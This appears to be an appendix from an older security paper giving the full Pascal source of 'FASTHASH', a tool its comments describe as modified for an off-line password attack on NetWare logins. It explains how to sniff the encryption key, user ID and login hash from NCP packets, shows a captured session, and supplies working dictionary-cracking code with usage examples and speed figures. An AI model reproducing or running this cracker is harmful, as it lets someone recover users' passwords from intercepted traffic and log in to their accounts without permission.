--------------------------------------------------------------------------- Appendix Section - Source Code and Other Documentation A-07. Source code to FASTHASH Written in Pascal, the explanation of the code is inside the source. --------------------------------------------------------------------------- {$R+,V-} {This code was originaly written by Willem Jan Hengeveld Later the code was modified by anonymous. Code was moderatley optimized for speed by Greg Miller. Code was modified for an off-line password attack by Greg Miller. } { ---------------------------------------------------------------------------- This program takes three parameters and . The encryption key is the value returned by the server when the workstation calls GetEncryptionKey(). is the value the workstation sends to the server to authenticate the login. And is the ID of the user loggin in. All of this information can be easily sniffed from the network while a user is loggin in. The following is a login session of a workstation named EBEURY to a server at 00-00-F4-B0-36-88. The relevant packets are #22, #24, #25. The fields needed are the KEY field in #22 (the encryption key), the Object ID field in #24 (the user ID) and the KEY field in #25 (the hash). Lanalyzer for Windows was used to decode these packets. Any packet sniffer would do, however, you would have to decode the packets by hand. Packet Number : 21 3:49:31 PM Station: EBEURY ----> 00-00-F4-B0-36-88 ncp: ===================== NetWare Core Protocol ===================== NCP Request: Get Log Key Request Type: 0x2222 (Request) Sequence Number: 17 Connection Number Low: 3 Task Number: 2 Connection Number High: 0 Function Code: 23 Subfunction Length: 1 bytes Subfunction Code: 23 Packet Number : 22 3:49:31 PM Station: 00-00-F4-B0-36-88 ----> EBEURY ncp: ===================== NetWare Core Protocol ===================== NCP Reply: Get Log Key Reply Type: 0x3333 (Reply) Sequence Number: 17 Connection Number Low: 3 Task Number: 1 Connection Number High: 0 Completion Code: 0 (Success) Connection Status: 0x00 Key: 0x93 0xE3 0x79 0xC6 0xF2 0x8C 0x37 0x65 Packet Number : 23 3:49:31 PM Station: EBEURY ----> 00-00-F4-B0-36-88 ncp: ===================== NetWare Core Protocol ===================== NCP Request: Get Bindery Object ID Request Type: 0x2222 (Request) Sequence Number: 18 Connection Number Low: 3 Task Number: 2 Connection Number High: 0 Function Code: 23 Subfunction Length: 11 bytes Subfunction Code: 53 Object Type: 1 (User) Object Name: Length: 7 Value : GMILLER Packet Number : 24 3:49:31 PM Station: 00-00-F4-B0-36-88 ----> EBEURY ncp: ===================== NetWare Core Protocol ===================== NCP Reply: Get Bindery Object ID Reply Type: 0x3333 (Reply) Sequence Number: 18 Connection Number Low: 3 Task Number: 1 Connection Number High: 0 Completion Code: 0 (Success) Connection Status: 0x00 Object ID: 0x0E000005 Object Type: 1 (User) Object Name: GMILLER Packet Number : 25 3:49:31 PM Station: EBEURY ----> 00-00-F4-B0-36-88 ncp: ===================== NetWare Core Protocol ===================== NCP Request: Keyed Login Request Type: 0x2222 (Request) Sequence Number: 19 Connection Number Low: 3 Task Number: 2 Connection Number High: 0 Function Code: 23 Subfunction Length: 19 bytes Subfunction Code: 24 Key: 0xA1 0x1B 0x89 0x9F 0xDA 0xA7 0x8A 0x79 Object Type: 1 (User) Object Name: Length: 7 Value : GMILLER Packet Number : 26 3:49:31 PM Station: 00-00-F4-B0-36-88 ----> EBEURY ncp: ===================== NetWare Core Protocol ===================== NCP Reply: Keyed Login Reply Type: 0x3333 (Reply) Sequence Number: 19 Connection Number Low: 3 Task Number: 1 Connection Number High: 0 Completion Code: 0 (Success) Connection Status: 0x00 ---------------------------------------------------------------------------- } {The code before optimization achived 1524 passwords/sec on a Pentium 100Mhz. After optimization, the code achived 2600 passwords/sec. After adding in the ability to read the passwords from a file, the code achieves 2300 passwords/sec.} {Before optimization: Assume processing time of 1524 passwords/sec on a Pentium 100Mhz Assume processing time of 636 passwords/sec on a 486 80Mhz } PROGRAM LOGON; USES Dos, Crt; TYPE Buf32 = ARRAY [0..31] OF BYTE; Buf16 = ARRAY [0..15] OF BYTE; Buf8 = ARRAY [0..7] OF BYTE; Buf4 = ARRAY [0..3] OF BYTE; CONST EncryptTable : ARRAY [BYTE] OF BYTE = ($7,$8,$0,$8,$6,$4,$E,$4,$5,$C,$1,$7,$B,$F,$A,$8, $F,$8,$C,$C,$9,$4,$1,$E,$4,$6,$2,$4,$0,$A,$B,$9, $2,$F,$B,$1,$D,$2,$1,$9,$5,$E,$7,$0,$0,$2,$6,$6, $0,$7,$3,$8,$2,$9,$3,$F,$7,$F,$C,$F,$6,$4,$A,$0, $2,$3,$A,$B,$D,$8,$3,$A,$1,$7,$C,$F,$1,$8,$9,$D, $9,$1,$9,$4,$E,$4,$C,$5,$5,$C,$8,$B,$2,$3,$9,$E, $7,$7,$6,$9,$E,$F,$C,$8,$D,$1,$A,$6,$E,$D,$0,$7, $7,$A,$0,$1,$F,$5,$4,$B,$7,$B,$E,$C,$9,$5,$D,$1, $B,$D,$1,$3,$5,$D,$E,$6,$3,$0,$B,$B,$F,$3,$6,$4, $9,$D,$A,$3,$1,$4,$9,$4,$8,$3,$B,$E,$5,$0,$5,$2, $C,$B,$D,$5,$D,$5,$D,$2,$D,$9,$A,$C,$A,$0,$B,$3, $5,$3,$6,$9,$5,$1,$E,$E,$0,$E,$8,$2,$D,$2,$2,$0, $4,$F,$8,$5,$9,$6,$8,$6,$B,$A,$B,$F,$0,$7,$2,$8, $C,$7,$3,$A,$1,$4,$2,$5,$F,$7,$A,$C,$E,$5,$9,$3, $E,$7,$1,$2,$E,$1,$F,$4,$A,$6,$C,$6,$F,$4,$3,$0, $C,$0,$3,$6,$F,$8,$7,$B,$2,$D,$C,$6,$A,$A,$8,$D); ETable : ARRAY [BYTE] OF BYTE = ($70,$80,$00,$80,$60,$40,$E0,$40,$50,$C0,$10,$70,$B0,$F0,$A0,$80, $F0,$80,$C0,$C0,$90,$40,$10,$E0,$40,$60,$20,$40,$00,$A0,$B0,$90, $20,$F0,$B0,$10,$D0,$20,$10,$90,$50,$E0,$70,$00,$00,$20,$60,$60, $00,$70,$30,$80,$20,$90,$30,$F0,$70,$F0,$C0,$F0,$60,$40,$A0,$00, $20,$30,$A0,$B0,$D0,$80,$30,$A0,$10,$70,$C0,$F0,$10,$80,$90,$D0, $90,$10,$90,$40,$E0,$40,$C0,$50,$50,$C0,$80,$B0,$20,$30,$90,$E0, $70,$70,$60,$90,$E0,$F0,$C0,$80,$D0,$10,$A0,$60,$E0,$D0,$00,$70, $70,$A0,$00,$10,$F0,$50,$40,$B0,$70,$B0,$E0,$C0,$90,$50,$D0,$10, $B0,$D0,$10,$30,$50,$D0,$E0,$60,$30,$00,$B0,$B0,$F0,$30,$60,$40, $90,$D0,$A0,$30,$10,$40,$90,$40,$80,$30,$B0,$E0,$50,$00,$50,$20, $C0,$B0,$D0,$50,$D0,$50,$D0,$20,$D0,$90,$A0,$C0,$A0,$00,$B0,$30, $50,$30,$60,$90,$50,$10,$E0,$E0,$00,$E0,$80,$20,$D0,$20,$20,$00, $40,$F0,$80,$50,$90,$60,$80,$60,$B0,$A0,$B0,$F0,$00,$70,$20,$80, $C0,$70,$30,$A0,$10,$40,$20,$50,$F0,$70,$A0,$C0,$E0,$50,$90,$30, $E0,$70,$10,$20,$E0,$10,$F0,$40,$A0,$60,$C0,$60,$F0,$40,$30,$00, $C0,$00,$30,$60,$F0,$80,$70,$B0,$20,$D0,$C0,$60,$A0,$A0,$80,$D0); EncryptKeys : Buf32 = ($48,$93,$46,$67,$98,$3D,$E6,$8D,$B7,$10,$7A,$26,$5A,$B9,$B1,$35, $6B,$0F,$D5,$70,$AE,$FB,$AD,$11,$F4,$47,$DC,$A7,$EC,$CF,$50,$C0); TYPE NetStr = STRING[47]; GenStr = STRING[128]; FourBytes = ARRAY [1..4] of BYTE; MemBlock = ARRAY [1..128] OF CHAR; VAR rc : BYTE; Regs : Registers; key,hash: buf8; id:FourBytes; x,y:integer; skey,shash,sid:string; { -------------------------------------------------------------- } PROCEDURE Shuffle1(VAR temp : Buf32; VAR target); VAR t : Buf16 ABSOLUTE target; b4 : WORD; b3 : BYTE; s, d, b2, i : WORD; BEGIN b4 := 0; FOR s := 0 TO 31 DO BEGIN b3 := Lo(Lo(temp[s] + b4) XOR Lo(temp[(s + b4) AND 31] - EncryptKeys[s])); b4 := b4 + b3; temp[s] := b3; END; FOR s := 0 TO 31 DO BEGIN b3 := Lo(Lo(temp[s] + b4) XOR Lo(temp[(s + b4) AND 31] - EncryptKeys[s])); b4 := b4 + b3; temp[s] := b3; END; t[0] := EncryptTable[temp[0]] OR (ETable[temp[1]]); t[1] := EncryptTable[temp[2]] OR (ETable[temp[3]]); t[2] := EncryptTable[temp[4]] OR (ETable[temp[5]]); t[3] := EncryptTable[temp[6]] OR (ETable[temp[7]]); t[4] := EncryptTable[temp[8]] OR (ETable[temp[9]]); t[5] := EncryptTable[temp[10]] OR (ETable[temp[11]]); t[6] := EncryptTable[temp[12]] OR (ETable[temp[13]]); t[7] := EncryptTable[temp[14]] OR (ETable[temp[15]]); t[8] := EncryptTable[temp[16]] OR (ETable[temp[17]]); t[9] := EncryptTable[temp[18]] OR (ETable[temp[19]]); t[10] := EncryptTable[temp[20]] OR (ETable[temp[21]]); t[11] := EncryptTable[temp[22]] OR (ETable[temp[23]]); t[12] := EncryptTable[temp[24]] OR (ETable[temp[25]]); t[13] := EncryptTable[temp[26]] OR (ETable[temp[27]]); t[14] := EncryptTable[temp[28]] OR (ETable[temp[29]]); t[15] := EncryptTable[temp[30]] OR (ETable[temp[31]]); END; PROCEDURE Shuffle(VAR lon, buf; buflen : WORD; VAR target); VAR l : Buf4 ABSOLUTE lon; b : ARRAY [0..127] OF BYTE ABSOLUTE buf; b2 : WORD; temp : Buf32; s, d : WORD; BEGIN IF buflen > 0 THEN WHILE (buflen > 0) AND (b[buflen-1] = 0) DO buflen := buflen - 1; FillChar(temp, SizeOf(temp), #0); d := 0; WHILE buflen >= 32 DO BEGIN FOR s := 0 TO 31 DO BEGIN temp[s] := temp[s] XOR b[d]; d := d + 1; END; buflen := buflen - 32; END; b2 := d; IF buflen > 0 THEN BEGIN FOR s := 0 TO 31 DO BEGIN IF d + buflen = b2 THEN BEGIN b2 := d; temp[s] := EncryptKeys[s]; END ELSE BEGIN temp[s] := b[b2]; b2 := b2 + 1; END; END; END; temp[0] := temp[0] XOR l[0]; temp[1] := temp[1] XOR l[1]; temp[2] := temp[2] XOR l[2]; temp[3] := temp[3] XOR l[3]; temp[4] := temp[4] XOR l[0]; temp[5] := temp[5] XOR l[1]; temp[6] := temp[6] XOR l[2]; temp[7] := temp[7] XOR l[3]; temp[8] := temp[8] XOR l[0]; temp[9] := temp[9] XOR l[1]; temp[10] := temp[10] XOR l[2]; temp[11] := temp[11] XOR l[3]; temp[12] := temp[12] XOR l[0]; temp[13] := temp[13] XOR l[1]; temp[14] := temp[14] XOR l[2]; temp[15] := temp[15] XOR l[3]; temp[16] := temp[16] XOR l[0]; temp[17] := temp[17] XOR l[1]; temp[18] := temp[18] XOR l[2]; temp[19] := temp[19] XOR l[3]; temp[20] := temp[20] XOR l[0]; temp[21] := temp[21] XOR l[1]; temp[22] := temp[22] XOR l[2]; temp[23] := temp[23] XOR l[3]; temp[24] := temp[24] XOR l[0]; temp[25] := temp[25] XOR l[1]; temp[26] := temp[26] XOR l[2]; temp[27] := temp[27] XOR l[3]; temp[28] := temp[28] XOR l[0]; temp[29] := temp[29] XOR l[1]; temp[30] := temp[30] XOR l[2]; temp[31] := temp[31] XOR l[3]; Shuffle1(temp, target); END; PROCEDURE Encrypt(VAR fra, buf, til); VAR f : Buf8 ABSOLUTE fra; t : Buf8 ABSOLUTE til; k : Buf32; s : WORD; BEGIN Shuffle(f[0], buf, 16, k[0]); Shuffle(f[4], buf, 16, k[16]); k[0] := k[0] XOR k[31]; k[1] := k[1] XOR k[30]; k[2] := k[2] XOR k[29]; k[3] := k[3] XOR k[28]; k[4] := k[4] XOR k[27]; k[5] := k[5] XOR k[26]; k[6] := k[6] XOR k[25]; k[7] := k[7] XOR k[24]; k[8] := k[8] XOR k[23]; k[9] := k[9] XOR k[22]; k[10] := k[10] XOR k[21]; k[11] := k[11] XOR k[20]; k[12] := k[12] XOR k[19]; k[13] := k[13] XOR k[18]; k[14] := k[14] XOR k[17]; k[15] := k[15] XOR k[16]; t[0] := k[0] XOR k[15]; t[1] := k[1] XOR k[14]; t[2] := k[2] XOR k[13]; t[3] := k[3] XOR k[12]; t[4] := k[4] XOR k[11]; t[5] := k[5] XOR k[10]; t[6] := k[6] XOR k[9]; t[7] := k[7] XOR k[8]; END; procedure LoginToFileServer(key_:buf8; hash:buf8; id:FourBytes); VAR buf : Buf32; res : BYTE; x : word; key : buf8; h1,m1,s1,ss1:word; h2,m2,s2,ss2:word; temp,temp1,temp2:real; t:word; passw:GenStr; notdone:boolean; guess:integer; tfile:text; BEGIN assign(tfile,'pass.dat'); reset(tfile); guess:=0; notdone:=true; GetTime(h1,m1,s1,ss1); while notdone do begin readln(tfile,passw); if eof(tfile) then begin notdone := false; writeln('No match found. ',guess,' passwords tried'); end; inc(guess); Shuffle(id, passw[1], Length(passw), buf); Encrypt(key_, buf, key); if (key[0]=hash[0]) and (key[1]=hash[1]) and (key[2]=hash[2]) and (key[3]=hash[3]) and (key[4]=hash[4]) and (key[5]=hash[5]) and (key[6]=hash[6]) and (key[7]=hash[7]) then begin writeln('Match found on:',passw,'. ',guess,' passwords tried'); end; end; GetTime(h2,m2,s2,ss2); writeln; temp1:=ss1/100 + s1 + m1*60 + h1 * 360; writeln('Begin:',temp1:10:2); temp2:=ss2/100 + s2 + m2*60 + h2 * 360; writeln('End:',temp2:10:2); writeln('Difference:',temp2-temp1:10:4); END; function htod (c:char):integer; var y:integer; begin c:=upcase(c); y:=ord(upcase(c)); if y>57 then y:=y-55 else y:=y-48; htod:=y; end; BEGIN if paramcount <> 3 then begin writeln('Useage: novpass '); writeln; writeln('e.g. novpass 5f18be7dcf479e8e 70605146df0d3630 0e000005'); end; writeln; skey:=paramstr(1); shash:=paramstr(2); sid:=paramstr(3); for x:=1 to 16 do begin y:=x div 2; key[y]:=htod(skey[x])*16; x:=x+1; key[y]:=key[y]+htod(skey[x]); end; for x:=1 to 16 do begin y:=x div 2; hash[y]:=htod(shash[x])*16; x:=x+1; hash[y]:=hash[y]+htod(shash[x]); end; for x:=1 to 8 do begin y:=(x div 2) +1; id[y]:=htod(sid[x])*16; x:=x+1; id[y]:=id[y]+htod(sid[x]); end; LoginToFileServer(key,hash,id); END. ---------------------------------------------------------------------------